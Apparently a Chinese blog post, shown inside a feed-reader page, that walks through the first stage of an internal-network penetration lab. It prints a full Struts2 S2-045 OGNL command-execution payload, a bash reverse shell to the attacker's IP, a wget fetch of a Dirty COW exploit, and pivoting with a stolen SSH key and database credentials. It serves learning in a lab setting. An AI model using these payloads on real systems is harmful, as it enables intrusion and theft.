惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Vercel News
Vercel News
Recorded Future
Recorded Future
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
The GitHub Blog
The GitHub Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Google DeepMind News
Google DeepMind News
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Microsoft Azure Blog
Microsoft Azure Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
M
MIT News - Artificial intelligence
云风的 BLOG
云风的 BLOG
Y
Y Combinator Blog
N
News | PayPal Newsroom
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Help Net Security
Help Net Security
博客园 - Franky
SecWiki News
SecWiki News
Recent Announcements
Recent Announcements
T
Troy Hunt's Blog
The Register - Security
The Register - Security
The Last Watchdog
The Last Watchdog
Webroot Blog
Webroot Blog
S
Security Affairs
博客园 - 司徒正美
S
Schneier on Security
I
InfoQ
博客园_首页
www.infosecurity-magazine.com
www.infosecurity-magazine.com
T
Threat Research - Cisco Blogs
Forbes - Security
Forbes - Security
腾讯CDC
N
Netflix TechBlog - Medium
N
News and Events Feed by Topic
Cloudbric
Cloudbric
T
The Exploit Database - CXSecurity.com
P
Proofpoint News Feed
A
About on SuperTechFans
Engineering at Meta
Engineering at Meta
Recent Commits to openclaw:main
Recent Commits to openclaw:main
B
Blog
V
Vulnerabilities – Threatpost
C
Check Point Blog
Google DeepMind News
Google DeepMind News
Google Online Security Blog
Google Online Security Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
Hacker News - Newest:
Hacker News - Newest: "LLM"
C
Cisco Blogs
Schneier on Security
Schneier on Security
O
OpenAI News
K
Kaspersky official blog

博客园_首页

Linux实操--组管理、权限管理和定时任务 Java + EasyExcel 实现单个接口导出多个Excel Mem0 源码解析系列(二):提示词工程的深度剖析 Openclaw TaskFlow究竟是什么?和普通Skill技能有什么区别 博文阅读密码验证 - 博客园 嘉立创开源:应该是全网MicroPython教程最多的开发板 Hermes Agent 集成实践:从协议到生产 2026年AI编程工具横评:Cursor、Codex、Claude Code、Zed、Windsurf Java程序员必看的RAG入门教程 2026 AI效率神器:Superpowers + Claude Code 保姆级教程 本地大模型部署全攻略:从 0 到 1 玩转 Ollama 【从0到1构建一个ClaudeAgent】内存管理-上下文压缩 .NET 高级开发 | 设计、实现一个事件总线框架 电子小白入门之NE555 3. WorkBuddy:隐藏玩法,一键召唤专家,让 AI 以"专家身份"给你干活 和AI一起搞事情#3:Claude Teammate 游戏开发翻车实录 【OpenClaw】通过 Nanobot 源码学习架构---(7)Memory C# .NET 周刊|2026年3月3期 我在 Debian 11 上把 K8s 单机搭起来了,过程没你想的那么顺(/opt 目录版) 深度学习进阶(七)Data-efficient Image Transformer CLI+Skill搭建浏览器AI自动化框架,告别一切重复枯燥任务 告别Token账单无底洞:OpenClaw本地部署,重塑企业数据主权的唯一解 FastAPI+Vue:文件分片上传+秒传+断点续传,这坑我帮你踩平了! SBTI 爆火后,我做了个程序员版的 CBTI。。已开源 + 附开发过程 多模态检索开始进入工程期:用 Sentence Transformers 搭建可落地的 Multimodal RAG 100多行代码实现一个最简单的Agent(用ReAct) Claude Code 通关手册(八):推荐 5 个 Hooks,代码质量提升 3 倍 老板:“有人截图了!”。安全部门:“收到,马上查暗水印!” - why技术 技术之外,皆是人间 C#/.NET/.NET Core技术前沿周刊 | 第 69 期(2026年4.01-4.12) Snack JSONPath 项目架构分析 Claude Code Buddy 小析:一个非核心功能,如何体现产品的细节完成度 AI新时代下的图床管理方案-Cloudflare图床+MCP+Skills方案指南 化繁为简:顺丰速运App如何通过 HarmonyOS SDK实现专业级空间测量 从零实现富文本编辑器#13-React非编辑节点的内容渲染 AI开发-python-langchain框架(3-23-OpenAI Functions风格Tool Calling智能助手) .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut PbootCMS 网站内容数量多导致访问慢?这些实用优化方案帮你提速! - 家兴网络技术工作室 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 网站漏洞怎么发现并修复?一篇实用指南(附完整流程) - 家兴网络技术工作室 开了 TUN 模式还是直连?90% 的人都踩过这个坑 Github日报|2026年04月12日 - AI一族 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术 Etsy 把 1000 个 MySQL 分片迁进 Vitess:425TB 数据背后的真正问题不是性能,而是运维规模 MicroPython LVGL基础知识和概念:底层渲染与性能优化 - FreakStudio 数据库草图算法 Python 潮流周刊#146:CPython 引入 Rust 的进展 - 豌豆花下猫 最小生成树 - mofei1116 红日靶场七:从外网入口、容器逃逸到 AD 接管的完整利用链复盘 - YouDiscovered1t 分享四款开源且实用的 Kafka 管理工具 - 追逐时光者 vLLM 权重加载机制全解析:从挑战到理想架构 LCT 学习笔记 - ACehomoxue Avalonia UI 12.0.0 正式发布:架构演进和性能飞跃 - 张善友 当 AI Agent 把调用链拉长,延迟开始成为一门生意 conhost.exe 无法显示 U+2717 - 145a 太秀了,我把自己蒸馏成了 Skill!已开源 - 程序员鱼皮 ASP.NET Core 内存缓存实战:一篇搞懂该怎么配、怎么避坑 基于 Ghostty 带有分割标签页和为 Claude 编程设计的通知终端 - BugShare AI 焊死入口:教育的“操作系统级”重塑 - 郝hai 初级Java开发工程师使用sql脚本编写代码的过程是简单而且不糊涂 - CoderOilStation Claude Code通关手册(六):MCP协议完全指南 - 暮色之狐 边框灯光环绕动画特效实现指南 - Newbe36524 开源:子木蒸馏版的 SEO 审计工具 seo-audit-skill v1.0 我所理解的Python元模型 【从0到1构建一个ClaudeAgent】规划与协调-TodoWrite - 程序员Seven Claude 和 Codex 在审计 Skill 上性能差异探究 - ACai_sec AScript如何实现中文脚本引擎 - rockey627 【渗透测试】HTB Season10 Garfield 全过程wp - dynasty_chenzi Android 开发者为什么必须掌握 AI 能力?端侧视角下的技术变革 树状数组正确性证明 - AC-wyr 你的 AI 焦虑,可能比 AI 本身更危险——ATM 机没有消灭银行柜员,但恐慌消灭了你的判断力 - 我没有三颗心脏 一个拉胯的分库分表方案有多绝望?整个部门都在救火! - 冰河团队 动态规划入门必学之走方格问题 - Ofnoname PostgREST 与 PostgreSQL 角色权限配置全解析(生产级实践) - SheepDog1998 使用 UEFI 图形输出协议 GOP 在屏幕上显示图像的方法 - 阿源- Claude Code通关手册(五):组建你的AI专家团队,子代理系统 - 暮色之狐 一个程序员到架构师的催婚路之感悟(整整10年后的催婚相亲感悟) - MisterLip 用 Agent Skill 自动生成工作周报 - 赵康
THP-CSK靶场--内网横向移动(一)
ShoreKiten · 2026-05-09 · via 博客园_首页

前言:因为是第一次打多台机器,所以每个步骤都会有详细记录,放在一篇写的话篇幅很大,因此就分开写,具体写几篇的话看总共的字数,可能分两篇或者三篇。最开始的环境搭建写过了所以这里就不再赘述。


网段基础服务探测

nmap在不加任何参数下可用于快速摸清网段基础服务的场景,如果是日常渗透或者巡检的话需要带上相应参数以便加快探测速度:

nmap 172.16.250.0/24

image

这里可以看到.10开放了http服务,那么这里就是作为入口机存在,可以对该ip进行更加详细的探测:

image

这里面有一个之前从来没有碰到过的8009,查了一下资料:

Apache JServ 协议(AJP)服务端口:
AJP(Apache JServ Protocol) 是 Apache HTTP Server 和 Tomcat(或其他 Java 应用容器)之间通信用的二进制协议,比 HTTP 转发效率更高。
典型架构如下:
客户端 → Apache (80/443) → AJP (8009) → Tomcat (8080)


web端口打点

正常打点web端口,先看80的,插件看了一眼没有啥东西

image

下面有一个登录功能跳转到登录口,显示了OpenCMS 10.5.3,然后同时页面直接给了默认的账户密码均为admin,尝试登录未果,弱口令没有,尝试SQL注入也未找到可能的注入点,但是在URL里看到的是这样的
http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin123&action=login

那么尝试register,抓个数据包看看:

image

没啥反应,而且前面的路由也是/login,再试试递归扫描:

dirsearch -u http://172.16.250.10/kittens/ -r -R 3 --recursion-status 200-399

这里我的是新版的dirsearch,如果报错的话更新一下就行

在扫描的过程中出现的一个问题是有些路径扫出来是200,但实际访问的时候却是500,可能的原因是dirsearch命中了路由。

这个网站可能配置了伪静态或 MVC 框架,访问任何看起来合理的路径,都会返回一个“友好”的错误页面或路由兜底页,但这个页面本身是 200 OK,但dirsearch 没法区分这是真实文件还是兜底路由。

后面换了无影扫了一遍结果也差不多,那么这里的敏感路径大概率不存在了

再sqlmap再尝试跑一遍

sqlmap -u "http://172.16.250.10/kittens/login/index.html?requestedResource=&name=admin&password=admin&action=login" --level=5 --risk=3 --threads=10 --batch --dump-all

没跑出来东西,最后看看Opencms的漏洞,找了一下大多数是CSRF,XSS和XXE,但是有一个提到了Structs2漏洞,而刚好这台入口机的名字也正是Struct2,那么就说明可能当时我们扫目录的时候没关注的根目录就是突破口,重新再扫一遍【用无影扫】后发现了这么三个:

http://172.16.250.10/struts2-showcase/showcase.action

http://172.16.250.10/struts2-showcase/modelDriven/modelDriven.action

http://172.16.250.10/struts2-showcase/fileupload/upload.action

φ(゜▽゜*)♪


获取shell

看了一下URL第一想到的是文件上传的那个,先尝试传一个木马文件,但是后缀给改掉了:

image

不知道怎么下手,网上找struct2的漏洞有很多,得先知道具体的版本号,这个在config browser中可以找到为2.3.12

image

这里可以利用Struts2 S2-045 远程代码执行漏洞

漏洞的根本原因是由于在处理 Content-Type HTTP 请求头中的 multipart/form-data 类型时,Struts 2 使用了一个不安全的方式来解析上传文件的数据。当请求中包含恶意构造的 Content-Type 头部字段时,攻击者可以注入 OGNL (Object-Graph Navigation Language) 表达式,这些表达式会在服务器端被解释并执行,构造的payload如下:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

感兴趣的话可以看看下面的解释:

#nike='multipart/form-data'
// ↑ 声明这是一个 multipart 请求,骗 Struts2 进入文件上传解析流程

#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
// ↑ 获取 OGNL 的默认无限制访问权限对象

#_memberAccess ? (#_memberAccess=#dm) : (
// ↑ 三元判断:_memberAccess 已存在就直接赋值,否则执行后面括号里的绕过流程

    #container=#context['com.opensymphony.xwork2.ActionContext.container']
    // ↑ 从上下文拿 Struts2 的依赖注入容器

    #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
    // ↑ 从容器里取出 OgnlUtil 单例(管理 OGNL 黑名单的工具类)

    #ognlUtil.getExcludedPackageNames().clear()
    // ↑ 清空禁止访问的包名黑名单(如 java.lang.ProcessBuilder)

    #ognlUtil.getExcludedClasses().clear()
    // ↑ 清空禁止访问的类名黑名单

    #context.setMemberAccess(#dm)
    // ↑ 把当前上下文设为无限制访问权限
)
// ↑ 沙箱绕过完成,现在可以调用任意危险类

#cmd='id'
// ↑ 要执行的系统命令,改这里就行

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))
// ↑ 判断是不是 Windows 系统

#cmds=(#iswin ? {'cmd.exe','/c',#cmd} : {'/bin/bash','-c',#cmd})
// ↑ 根据系统拼出不同的命令数组

#p=new java.lang.ProcessBuilder(#cmds)
// ↑ 创建进程构建器

#p.redirectErrorStream(true)
// ↑ 把 stderr 合并到 stdout,防止错误信息丢失

#process=#p.start()
// ↑ 启动进程,执行命令

#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())
// ↑ 拿到 HTTP 响应的输出流

@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)
// ↑ 把命令执行结果拷贝到 HTTP 响应里

#ros.flush()
// ↑ 刷新输出流,确保结果返回给客户端

这里我们上传一个正常的文件,然后填一下需要的caption并抓包,然后直接修改content-type就行

image

然后修改命令就是在图中框出来的部分,这里可以直接bash反弹:

bash -i >& /dev/tcp/172.16.250.128/4444 0>&1

如果想要简单一点的话可以直接上MSF,选择CVE-2017-5638,再配个设置【靶机为linux】这里就不具体演示了

set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
run

入口机提权

这里面装的还是python3,所以得加个数字:

python3 -c 'import pty;pty.spawn("/bin/bash")'

image

sudo需要密码,然后SUID没啥东西,再看一下内核为4.4.0网上找找为脏牛提权,这里是64位的用到的是40616,具体地址戳这里 因为这里不是重点而且打到这台机器的师傅脏牛提权大概率已经接触过一两次了所以就不细讲了:

wget http://172.16.250.128:8000/40616.c

gcc 40616.c -o cowroot -pthread

./cowroot

image

成功提权,但是有一个问题是获得的root不稳定,过一会儿就崩,所以需要一些命令在利用漏洞进行激烈的竞争条件攻击后,最大限度地保证系统的稳定性,防止内核崩溃导致你刚获得的权限瞬间丢失

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

拓展立足点

拿到root之后首先去root目录看一眼,在bash_history中找到了ssh登录另一台机器的痕迹:
ssh -i .ssh/id_rsa root@172.16.250.30

并且可以找到ssh私钥文件,但不知道为啥我的root还是不稳:

image

难不成还得用MSF搞个shell?

后面发现MSF的确实稳,难怪好多walkthrough都直接用的这个hhh

把私钥文件复制到本地后尝试登录:

image

这个错误是因为 私钥文件权限太开放了。SSH 为了安全,要求私钥只能被所有者读写,不能被其他用户(或组)访问,所以得更改下权限

chmod 600 id_rsa

再次运行成功登录到jenkins

image

其实这里有个问题就是在入口机中我是直接找/root目录下有用的东西了,没有再去翻其他的,但肯定是信息知道的越多越好,所以还得再去看别的,别的师傅写的walkthrough里面是直接给了一个命令:

cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

一个个拆分一下:

/opt/tomcat/ → 说明用的是 Tomcat,安装在 /opt 目录(手动安装的,不是 apt/yum)

webapps/ → Tomcat 的默认应用部署目录

kittens/ → 应用名称

WEB-INF/ → Java Web 应用的标准安全目录(不能直接浏览器访问)

opencms.properties → OpenCMS 框架的配置文件

然后我就很疑惑为啥直接就一个cat命令甩出来了,后面才了解到之前的打点做的正是这些:

在web端我们能发现网页为opencms并且运行tomcat容器中,我们需要找的是opencms核心配置文件,而默认的文件名便是opencms.properties ,在文件中有数据库连接配置,账户密码等关键信息

OpenCMS配置文件的默认路径固定在WEB-INF/config/文件夹下

文件/目录 默认路径 (相对于 WEB-INF) 说明
主配置文件夹 /WEB-INF/config/ 存放所有核心配置文件的根目录。
核心属性文件 /WEB-INF/config/opencms.properties 数据库连接、系统设置等关键配置。
主XML配置 /WEB-INF/config/opencms.xml 引入其他配置文件的顶层配置。
静态导出配置 /WEB-INF/config/opencms-importexport.xml 控制页面静态化和导入导出功能。

然后OpenCms 是基于 Java 技术开发的,它需要在一个符合 Servlet/JSP 规范的 Web 容器中才能运行,在这里Tomcat就是作为OpenCMS搭建的载体,相当于操作系统和软件 下面的安装顺序也说明了这一点:

  1. 安装 JDK(Java 开发环境,不能用 JRE)

  2. 安装 Tomcat(配置 CATALINA_HOME 环境变量)

  3. 部署 OpenCms:将 opencms.war 文件复制到 Tomcat 的 webapps/ 目录下

  4. Tomcat 会自动解压 war 包,然后通过浏览器访问 /setup 路径完成 OpenCms 的安装配置

所以再倒推到Tomcat的安装路径:/opt/tomcat 子目录如下

子目录 主要内容和用途
webapps/ 应用部署目录。存放具体的 Web 应用(如 opencms.war),OpenCms 这类 Java 网站就部署在这里。
conf/ 配置文件目录。存放 Tomcat 自身的全局配置,如 server.xml(配置端口、主机)和 context.xml
logs/ 日志目录。记录 Tomcat 运行、应用报错、访问请求等信息,审计和排查时很有价值。
bin/ 启动脚本目录。存放启动 (startup.sh) 和关闭 (shutdown.sh) Tomcat 服务的脚本。

那么最后我们便能得出这个路径是怎么来的了 o( ̄▽ ̄)ブ

/opt/tomcat/webapps/[应用名]/WEB-INF/config/

image

从图中就能看出找到了又一个.50的ip,开放端口为3306,账户store,密码WTWOIUEfjSLeij 【看着就像加密过的】


总结

然后后面的内容才是这次多机的实际价值所在,因此分两篇来写,希望这篇文章能够带给看到这里的师傅们新的帮助和想法★,°:.☆( ̄▽ ̄)/$:.°★